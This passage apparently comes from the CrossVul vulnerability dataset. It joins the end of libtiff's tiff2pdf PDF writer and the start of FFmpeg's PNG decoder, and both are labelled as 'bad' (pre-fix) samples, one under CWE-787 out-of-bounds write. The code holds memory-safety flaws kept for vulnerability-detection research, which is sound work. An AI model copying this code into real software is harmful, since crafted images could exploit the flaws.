main() function. TIFF* output = TIFFOpen("output.pdf", "w"); assert(output != NULL); if(output->tif_seekproc != NULL){ t2pSeekFile(output, (toff_t) 0, SEEK_SET); } This function returns the file size of the output PDF file. On error it returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR. After this function completes, call t2p_free on t2p, TIFFClose on input, and TIFFClose on output. */ tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; ttile_t i2=0; tsize_t streamlen=0; uint16 i=0; t2p_read_tiff_init(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_xrefcount,sizeof(uint32)) ); if(t2p->pdf_xrefoffsets==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_write_pdf", (unsigned int) (t2p->pdf_xrefcount * sizeof(uint32)) ); t2p->t2p_error = T2P_ERR_ERROR; return(written); } t2p->pdf_xrefcount=0; t2p->pdf_catalog=1; t2p->pdf_info=2; t2p->pdf_pages=3; written += t2p_write_pdf_header(t2p, output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_catalog=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_catalog(t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_info=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_info(t2p, input, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_pages=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_pages(t2p, output); written += t2p_write_pdf_obj_end(output); for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){ t2p_read_tiff_data(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; written += t2p_write_pdf_page_content_stream(t2p, output); streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); if(t2p->tiff_transferfunctioncount != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_transfer(t2p, output); written += t2p_write_pdf_obj_end(output); for(i=0; i < t2p->tiff_transferfunctioncount; i++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_transfer_dict(t2p, output, i); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_transfer_stream(t2p, output, i); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_palettecs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_palettecs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_icccs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_icccs_dict(t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_icccs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){ for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( i2+1, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size_tile(t2p, input, i2); written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } else { t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( 0, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size(t2p, input); written += t2p_readwrite_pdf_image(t2p, input, output); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } t2p->pdf_startxref = written; written += t2p_write_pdf_xreftable(t2p, output); written += t2p_write_pdf_trailer(t2p, output); t2p_disable(output); return(written); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5474_3
crossvul-cpp_data_bad_3298_0
/* * PNG image format * Copyright (c) 2003 Fabrice Bellard * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ //#define DEBUG #include "libavutil/avassert.h" #include "libavutil/bprint.h" #include "libavutil/imgutils.h" #include "libavutil/stereo3d.h" #include "avcodec.h" #include "bytestream.h" #include "internal.h" #include "apng.h" #include "png.h" #include "pngdsp.h" #include "thread.h" #include <zlib.h> typedef struct PNGDecContext { PNGDSPContext dsp; AVCodecContext *avctx; GetByteContext gb; ThreadFrame previous_picture; ThreadFrame last_picture; ThreadFrame picture; int state; int width, height; int cur_w, cur_h; int last_w, last_h; int x_offset, y_offset; int last_x_offset, last_y_offset; uint8_t dispose_op, blend_op; uint8_t last_dispose_op; int bit_depth; int color_type; int compression_type; int interlace_type; int filter_type; int channels; int bits_per_pixel; int bpp; int has_trns; uint8_t transparent_color_be[6]; uint8_t *image_buf; int image_linesize; uint32_t palette[256]; uint8_t *crow_buf; uint8_t *last_row; unsigned int last_row_size; uint8_t *tmp_row; unsigned int tmp_row_size; uint8_t *buffer; int buffer_size; int pass; int crow_size; /* compressed row size (include filter type) */ int row_size; /* decompressed row size */ int pass_row_size; /* decompress row size of the current pass */ int y; z_stream zstream; } PNGDecContext; /* Mask to determine which pixels are valid in a pass */ static const uint8_t png_pass_mask[NB_PASSES] = { 0x01, 0x01, 0x11, 0x11, 0x55, 0x55, 0xff, }; /* Mask to determine which y pixels can be written in a pass */ static const uint8_t png_pass_dsp_ymask[NB_PASSES] = { 0xff, 0xff, 0x0f, 0xff, 0x33, 0xff, 0x55, }; /* Mask to determine which pixels to overwrite while displaying */ static const uint8_t png_pass_dsp_mask[NB_PASSES] = { 0xff, 0x0f, 0xff, 0x33, 0xff, 0x55, 0xff }; /* NOTE: we try to construct a good looking image at each pass. width * is the original image width. We also do pixel format conversion at * this stage */ static void png_put_interlaced_row(uint8_t *dst, int width, int bits_per_pixel, int pass, int color_type, const uint8_t *src) { int x, mask, dsp_mask, j, src_x, b, bpp; uint8_t *d; const uint8_t *s; mask = png_pass_mask[pass]; dsp_mask = png_pass_dsp_mask[pass]; switch (bits_per_pixel) { case 1: src_x = 0; for (x = 0; x < width; x++) { j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 3] >> (7 - (src_x & 7))) & 1; dst[x >> 3] &= 0xFF7F>>j; dst[x >> 3] |= b << (7 - j); } if ((mask << j) & 0x80) src_x++; } break; case 2: src_x = 0; for (x = 0; x < width; x++) { int j2 = 2 * (x & 3); j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 2] >> (6 - 2*(src_x & 3))) & 3; dst[x >> 2] &= 0xFF3F>>j2; dst[x >> 2] |= b << (6 - j2); } if ((mask << j) & 0x80) src_x++; } break; case 4: src_x = 0; for (x = 0; x < width; x++) { int j2 = 4*(x&1); j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 1] >> (4 - 4*(src_x & 1))) & 15; dst[x >> 1] &= 0xFF0F>>j2; dst[x >> 1] |= b << (4 - j2); } if ((mask << j) & 0x80) src_x++; } break; default: bpp = bits_per_pixel >> 3; d = dst; s = src; for (x = 0; x < width; x++) { j = x & 7; if ((dsp_mask << j) & 0x80) { memcpy(d, s, bpp); } d += bpp; if ((mask << j) & 0x80) s += bpp; } break; } } void ff_add_png_paeth_prediction(uint8_t *dst, uint8_t *src, uint8_t *top, int w, int bpp) { int i; for (i = 0; i < w; i++) { int a, b, c, p, pa, pb, pc; a = dst[i - bpp]; b = top[i]; c = top[i - bpp]; p = b - c; pc = a - c; pa = abs(p); pb = abs(pc); pc = abs(p + pc); if (pa <= pb && pa <= pc) p = a; else if (pb <= pc) p = b; else p = c; dst[i] = p + src[i]; } } #define UNROLL1(bpp, op) \ { \ r = dst[0]; \ if (bpp >= 2) \ g = dst[1]; \ if (bpp >= 3) \ b = dst[2]; \ if (bpp >= 4) \ a = dst[3]; \ for (; i <= size - bpp; i += bpp) { \ dst[i + 0] = r = op(r, src[i + 0], last[i + 0]); \ if (bpp == 1) \ continue; \ dst[i + 1] = g = op(g, src[i + 1], last[i + 1]); \ if (bpp == 2) \ continue; \ dst[i + 2] = b = op(b, src[i + 2], last[i + 2]); \ if (bpp == 3) \ continue; \ dst[i + 3] = a = op(a, src[i + 3], last[i + 3]); \ } \ } #define UNROLL_FILTER(op) \ if (bpp == 1) { \ UNROLL1(1, op) \ } else if (bpp == 2) { \ UNROLL1(2, op) \ } else if (bpp == 3) { \ UNROLL1(3, op) \ } else if (bpp == 4) { \ UNROLL1(4, op) \ } \ for (; i < size; i++) { \ dst[i] = op(dst[i - bpp], src[i], last[i]); \ } /* NOTE: 'dst' can be equal to 'last' */ static void png_filter_row(PNGDSPContext *dsp, uint8_t *dst, int filter_type, uint8_t *src, uint8_t *last, int size, int bpp) { int i, p, r, g, b, a; switch (filter_type) { case PNG_FILTER_VALUE_NONE: memcpy(dst, src, size); break; case PNG_FILTER_VALUE_SUB: for (i = 0; i < bpp; i++) dst[i] = src[i]; if (bpp == 4) { p = *(int *)dst; for (; i < size; i += bpp) { unsigned s = *(int *)(src + i); p = ((s & 0x7f7f7f7f) + (p & 0x7f7f7f7f)) ^ ((s ^ p) & 0x80808080); *(int *)(dst + i) = p; } } else { #define OP_SUB(x, s, l) ((x) + (s)) UNROLL_FILTER(OP_SUB); } break; case PNG_FILTER_VALUE_UP: dsp->add_bytes_l2(dst, src, last, size); break; case PNG_FILTER_VALUE_AVG: for (i = 0; i < bpp; i++) { p = (last[i] >> 1); dst[i] = p + src[i]; } #define OP_AVG(x, s, l) (((((x) + (l)) >> 1) + (s)) & 0xff) UNROLL_FILTER(OP_AVG); break; case PNG_FILTER_VALUE_PAETH: for (i = 0; i < bpp; i++) { p = last[i]; dst[i] = p + src[i]; } if (bpp > 2 && size > 4) { /* would write off the end of the array if we let it process * the last pixel with bpp=3 */ int w = (bpp & 3) ? size - 3 : size; if (w > i) { dsp->add_paeth_prediction(dst + i, src + i, last + i, size - i, bpp); i = w; } } ff_add_png_paeth_prediction(dst + i, src + i, last + i, size - i, bpp); break; } } /* This used to be called "deloco" in FFmpeg * and is actually an inverse reversible colorspace transformation */ #define YUV2RGB(NAME, TYPE) \ static void deloco_ ## NAME(TYPE *dst, int size, int alpha) \ { \ int i; \ for (i = 0; i < size; i += 3 + alpha) { \ int g = dst [i + 1]; \ dst[i + 0] += g; \ dst[i + 2] += g; \ } \ } YUV2RGB(rgb8, uint8_t) YUV2RGB(rgb16, uint16_t) /* process exactly one decompressed row */ static void png_handle_row(PNGDecContext *s) { uint8_t *ptr, *last_row; int got_line; if (!s->interlace_type) { ptr = s->image_buf + s->image_linesize * (s->y + s->y_offset) + s->x_offset * s->bpp; if (s->y == 0) last_row = s->last_row; else last_row = ptr - s->image_linesize; png_filter_row(&s->dsp, ptr, s->crow_buf[0], s->crow_buf + 1, last_row, s->row_size, s->bpp); /* loco lags by 1 row so that it doesn't interfere with top prediction */ if (s->filter_type == PNG_FILTER_TYPE_LOCO && s->y > 0) { if (s->bit_depth == 16) { deloco_rgb16((uint16_t *)(ptr - s->image_linesize), s->row_size / 2, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } else { deloco_rgb8(ptr - s->image_linesize, s->row_size, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } } s->y++; if (s->y == s->cur_h) { s->state |= PNG_ALLIMAGE; if (s->filter_type == PNG_FILTER_TYPE_LOCO) { if (s->bit_depth == 16) { deloco_rgb16((uint16_t *)ptr, s->row_size / 2, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } else { deloco_rgb8(ptr, s->row_size, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } } } } else { got_line = 0; for (;;) { ptr = s->image_buf + s->image_linesize * (s->y + s->y_offset) + s->x_offset * s->bpp; if ((ff_png_pass_ymask[s->pass] << (s->y & 7)) & 0x80) { /* if we already read one row, it is time to stop to * wait for the next one */ if (got_line) break; png_filter_row(&s->dsp, s->tmp_row, s->crow_buf[0], s->crow_buf + 1, s->last_row, s->pass_row_size, s->bpp); FFSWAP(uint8_t *, s->last_row, s->tmp_row); FFSWAP(unsigned int, s->last_row_size, s->tmp_row_size); got_line = 1; } if ((png_pass_dsp_ymask[s->pass] << (s->y & 7)) & 0x80) { png_put_interlaced_row(ptr, s->cur_w, s->bits_per_pixel, s->pass, s->color_type, s->last_row); } s->y++; if (s->y == s->cur_h) { memset(s->last_row, 0, s->row_size); for (;;) { if (s->pass == NB_PASSES - 1) { s->state |= PNG_ALLIMAGE; goto the_end; } else { s->pass++; s->y = 0; s->pass_row_size = ff_png_pass_row_size(s->pass, s->bits_per_pixel, s->cur_w); s->crow_size = s->pass_row_size + 1; if (s->pass_row_size != 0) break; /* skip pass if empty row */ } } } } the_end:; } } static int png_decode_idat(PNGDecContext *s, int length) { int ret; s->zstream.avail_in = FFMIN(length, bytestream2_get_bytes_left(&s->gb)); s->zstream.next_in = (unsigned char *)s->gb.buffer; bytestream2_skip(&s->gb, length); /* decode one line if possible */ while (s->zstream.avail_in > 0) { ret = inflate(&s->zstream, Z_PARTIAL_FLUSH); if (ret != Z_OK && ret != Z_STREAM_END) { av_log(s->avctx, AV_LOG_ERROR, "inflate returned error %d\n", ret); return AVERROR_EXTERNAL; } if (s->zstream.avail_out == 0) { if (!(s->state & PNG_ALLIMAGE)) { png_handle_row(s); } s->zstream.avail_out = s->crow_size; s->zstream.next_out = s->crow_buf; } if (ret == Z_STREAM_END && s->zstream.avail_in > 0) { av_log(NULL, AV_LOG_WARNING, "%d undecompressed bytes left in buffer\n", s->zstream.avail_in); return 0; } } return 0; } static int decode_zbuf(AVBPrint *bp, const uint8_t *data, const uint8_t *data_end) { z_stream zstream; unsigned char *buf; unsigned buf_size; int ret; zstream.zalloc = ff_png_zalloc; zstream.zfree = ff_png_zfree; zstream.opaque = NULL; if (inflateInit(&zstream) != Z_OK) return AVERROR_EXTERNAL; zstream.next_in = (unsigned char *)data; zstream.avail_in = data_end - data; av_bprint_init(bp, 0, -1); while (zstream.avail_in > 0) { av_bprint_get_buffer(bp, 1, &buf, &buf_size); if (!buf_size) { ret = AVERROR(ENOMEM); goto fail; } zstream.next_out = buf; zstream.avail_out = buf_size; ret = inflate(&zstream, Z_PARTIAL_FLUSH); if (ret != Z_OK && ret != Z_STREAM_END) { ret = AVERROR_EXTERNAL; goto fail; } bp->len += zstream.next_out - buf; if (ret == Z_STREAM_END) break; } inflateEnd(&zstream); bp->str[bp->len] = 0; return 0; fail: inflateEnd(&zstream); av_bprint_finalize(bp, NULL); return ret; } static uint8_t *iso88591_to_utf8(const uint8_t *in, size_t size_in) { size_t extra = 0, i; uint8_t *out, *q; for (i = 0; i < size_in; i++) extra += in[i] >= 0x80; if (size_in == SIZE_MAX || extra > SIZE_MAX - size_in - 1) return NULL; q = out = av_malloc(size_in + extra + 1); if (!out) return NULL; for (i = 0; i < size_in; i++) { if (in[i] >= 0x80) { *(q++) = 0xC0 | (in[i] >> 6); *(q++) = 0x80 | (in[i] & 0x3F); } else { *(q++) = in[i]; } } *(q++) = 0; return out; } static int decode_text_chunk(PNGDecContext *s, uint32_t length, int compressed, AVDictionary **dict) { int ret, method; const uint8_t *data = s->gb.buffer; const uint8_t *data_end = data + length; const uint8_t *keyword = data; const uint8_t *keyword_end = memchr(keyword, 0, data_end - keyword); uint8_t *kw_utf8 = NULL, *text, *txt_utf8 = NULL; unsigned text_len; AVBPrint bp; if (!keyword_end) return AVERROR_INVALIDDATA; data = keyword_end + 1; if (compressed) { if (data == data_end) return AVERROR_INVALIDDATA; method = *(data++); if (method) return AVERROR_INVALIDDATA; if ((ret = decode_zbuf(&bp, data, data_end)) < 0) return ret; text_len = bp.len; av_bprint_finalize(&bp, (char **)&text); if (!text) return AVERROR(ENOMEM); } else { text = (uint8_t *)data; text_len = data_end - text; } kw_utf8 = iso88591_to_utf8(keyword, keyword_end - keyword); txt_utf8 = iso88591_to_utf8(text, text_len); if (text != data) av_free(text); if (!(kw_utf8 && txt_utf8)) { av_free(kw_utf8); av_free(txt_utf8); return AVERROR(ENOMEM); } av_dict_set(dict, kw_utf8, txt_utf8, AV_DICT_DONT_STRDUP_KEY | AV_DICT_DONT_STRDUP_VAL); return 0; } static int decode_ihdr_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { if (length != 13) return AVERROR_INVALIDDATA; if (s->state & PNG_IDAT) { av_log(avctx, AV_LOG_ERROR, "IHDR after IDAT\n"); return AVERROR_INVALIDDATA; } if (s->state & PNG_IHDR) { av_log(avctx, AV_LOG_ERROR, "Multiple IHDR\n"); return AVERROR_INVALIDDATA; } s->width = s->cur_w = bytestream2_get_be32(&s->gb); s->height = s->cur_h = bytestream2_get_be32(&s->gb); if (av_image_check_size(s->width, s->height, 0, avctx)) { s->cur_w = s->cur_h = s->width = s->height = 0; av_log(avctx, AV_LOG_ERROR, "Invalid image size\n"); return AVERROR_INVALIDDATA; } s->bit_depth = bytestream2_get_byte(&s->gb); s->color_type = bytestream2_get_byte(&s->gb); s->compression_type = bytestream2_get_byte(&s->gb); s->filter_type = bytestream2_get_byte(&s->gb); s->interlace_type = bytestream2_get_byte(&s->gb); bytestream2_skip(&s->gb, 4); /* crc */ s->state |= PNG_IHDR; if (avctx->debug & FF_DEBUG_PICT_INFO) av_log(avctx, AV_LOG_DEBUG, "width=%d height=%d depth=%d color_type=%d " "compression_type=%d filter_type=%d interlace_type=%d\n", s->width, s->height, s->bit_depth, s->color_type, s->compression_type, s->filter_type, s->interlace_type); return 0; } static int decode_phys_chunk(AVCodecContext *avctx, PNGDecContext *s) { if (s->state & PNG_IDAT) { av_log(avctx, AV_LOG_ERROR, "pHYs after IDAT\n"); return AVERROR_INVALIDDATA; } avctx->sample_aspect_ratio.num = bytestream2_get_be32(&s->gb); avctx->sample_aspect_ratio.den = bytestream2_get_be32(&s->gb); if (avctx->sample_aspect_ratio.num < 0 || avctx->sample_aspect_ratio.den < 0) avctx->sample_aspect_ratio = (AVRational){ 0, 1 }; bytestream2_skip(&s->gb, 1); /* unit specifier */ bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_idat_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length, AVFrame *p) { int ret; size_t byte_depth = s->bit_depth > 8 ? 2 : 1; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "IDAT without IHDR\n"); return AVERROR_INVALIDDATA; } if (!(s->state & PNG_IDAT)) { /* init image info */ avctx->width = s->width; avctx->height = s->height; s->channels = ff_png_get_nb_channels(s->color_type); s->bits_per_pixel = s->bit_depth * s->channels; s->bpp = (s->bits_per_pixel + 7) >> 3; s->row_size = (s->cur_w * s->bits_per_pixel + 7) >> 3; if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_RGB) { avctx->pix_fmt = AV_PIX_FMT_RGB24; } else if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_RGBA; } else if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_GRAY) { avctx->pix_fmt = AV_PIX_FMT_GRAY8; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_GRAY) { avctx->pix_fmt = AV_PIX_FMT_GRAY16BE; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_RGB) { avctx->pix_fmt = AV_PIX_FMT_RGB48BE; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_RGBA64BE; } else if ((s->bits_per_pixel == 1 || s->bits_per_pixel == 2 || s->bits_per_pixel == 4 || s->bits_per_pixel == 8) && s->color_type == PNG_COLOR_TYPE_PALETTE) { avctx->pix_fmt = AV_PIX_FMT_PAL8; } else if (s->bit_depth == 1 && s->bits_per_pixel == 1 && avctx->codec_id != AV_CODEC_ID_APNG) { avctx->pix_fmt = AV_PIX_FMT_MONOBLACK; } else if (s->bit_depth == 8 && s->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_YA8; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_YA16BE; } else { av_log(avctx, AV_LOG_ERROR, "unsupported bit depth %d " "and color type %d\n", s->bit_depth, s->color_type); return AVERROR_INVALIDDATA; } if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) { switch (avctx->pix_fmt) { case AV_PIX_FMT_RGB24: avctx->pix_fmt = AV_PIX_FMT_RGBA; break; case AV_PIX_FMT_RGB48BE: avctx->pix_fmt = AV_PIX_FMT_RGBA64BE; break; case AV_PIX_FMT_GRAY8: avctx->pix_fmt = AV_PIX_FMT_YA8; break; case AV_PIX_FMT_GRAY16BE: avctx->pix_fmt = AV_PIX_FMT_YA16BE; break; default: avpriv_request_sample(avctx, "bit depth %d " "and color type %d with TRNS", s->bit_depth, s->color_type); return AVERROR_INVALIDDATA; } s->bpp += byte_depth; } if ((ret = ff_thread_get_buffer(avctx, &s->picture, AV_GET_BUFFER_FLAG_REF)) < 0) return ret; if (avctx->codec_id == AV_CODEC_ID_APNG && s->last_dispose_op != APNG_DISPOSE_OP_PREVIOUS) { ff_thread_release_buffer(avctx, &s->previous_picture); if ((ret = ff_thread_get_buffer(avctx, &s->previous_picture, AV_GET_BUFFER_FLAG_REF)) < 0) return ret; } ff_thread_finish_setup(avctx); p->pict_type = AV_PICTURE_TYPE_I; p->key_frame = 1; p->interlaced_frame = !!s->interlace_type; /* compute the compressed row size */ if (!s->interlace_type) { s->crow_size = s->row_size + 1; } else { s->pass = 0; s->pass_row_size = ff_png_pass_row_size(s->pass, s->bits_per_pixel, s->cur_w); s->crow_size = s->pass_row_size + 1; } ff_dlog(avctx, "row_size=%d crow_size =%d\n", s->row_size, s->crow_size); s->image_buf = p->data[0]; s->image_linesize = p->linesize[0]; /* copy the palette if needed */ if (avctx->pix_fmt == AV_PIX_FMT_PAL8) memcpy(p->data[1], s->palette, 256 * sizeof(uint32_t)); /* empty row is used if differencing to the first row */ av_fast_padded_mallocz(&s->last_row, &s->last_row_size, s->row_size); if (!s->last_row) return AVERROR_INVALIDDATA; if (s->interlace_type || s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { av_fast_padded_malloc(&s->tmp_row, &s->tmp_row_size, s->row_size); if (!s->tmp_row) return AVERROR_INVALIDDATA; } /* compressed row */ av_fast_padded_malloc(&s->buffer, &s->buffer_size, s->row_size + 16); if (!s->buffer) return AVERROR(ENOMEM); /* we want crow_buf+1 to be 16-byte aligned */ s->crow_buf = s->buffer + 15; s->zstream.avail_out = s->crow_size; s->zstream.next_out = s->crow_buf; } s->state |= PNG_IDAT; /* set image to non-transparent bpp while decompressing */ if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) s->bpp -= byte_depth; ret = png_decode_idat(s, length); if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) s->bpp += byte_depth; if (ret < 0) return ret; bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_plte_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { int n, i, r, g, b; if ((length % 3) != 0 || length > 256 * 3) return AVERROR_INVALIDDATA; /* read the palette */ n = length / 3; for (i = 0; i < n; i++) { r = bytestream2_get_byte(&s->gb); g = bytestream2_get_byte(&s->gb); b = bytestream2_get_byte(&s->gb); s->palette[i] = (0xFFU << 24) | (r << 16) | (g << 8) | b; } for (; i < 256; i++) s->palette[i] = (0xFFU << 24); s->state |= PNG_PLTE; bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_trns_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { int v, i; if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if (length > 256 || !(s->state & PNG_PLTE)) return AVERROR_INVALIDDATA; for (i = 0; i < length; i++) { v = bytestream2_get_byte(&s->gb); s->palette[i] = (s->palette[i] & 0x00ffffff) | (v << 24); } } else if (s->color_type == PNG_COLOR_TYPE_GRAY || s->color_type == PNG_COLOR_TYPE_RGB) { if ((s->color_type == PNG_COLOR_TYPE_GRAY && length != 2) || (s->color_type == PNG_COLOR_TYPE_RGB && length != 6)) return AVERROR_INVALIDDATA; for (i = 0; i < length / 2; i++) { /* only use the least significant bits */ v = av_mod_uintp2(bytestream2_get_be16(&s->gb), s->bit_depth); if (s->bit_depth > 8) AV_WB16(&s->transparent_color_be[2 * i], v); else s->transparent_color_be[i] = v; } } else { return AVERROR_INVALIDDATA; } bytestream2_skip(&s->gb, 4); /* crc */ s->has_trns = 1; return 0; } static void handle_small_bpp(PNGDecContext *s, AVFrame *p) { if (s->bits_per_pixel == 1 && s->color_type == PNG_COLOR_TYPE_PALETTE) { int i, j, k; uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width / 8; for (k = 7; k >= 1; k--) if ((s->width&7) >= k) pd[8*i + k - 1] = (pd[i]>>8-k) & 1; for (i--; i >= 0; i--) { pd[8*i + 7]= pd[i] & 1; pd[8*i + 6]= (pd[i]>>1) & 1; pd[8*i + 5]= (pd[i]>>2) & 1; pd[8*i + 4]= (pd[i]>>3) & 1; pd[8*i + 3]= (pd[i]>>4) & 1; pd[8*i + 2]= (pd[i]>>5) & 1; pd[8*i + 1]= (pd[i]>>6) & 1; pd[8*i + 0]= pd[i]>>7; } pd += s->image_linesize; } } else if (s->bits_per_pixel == 2) { int i, j; 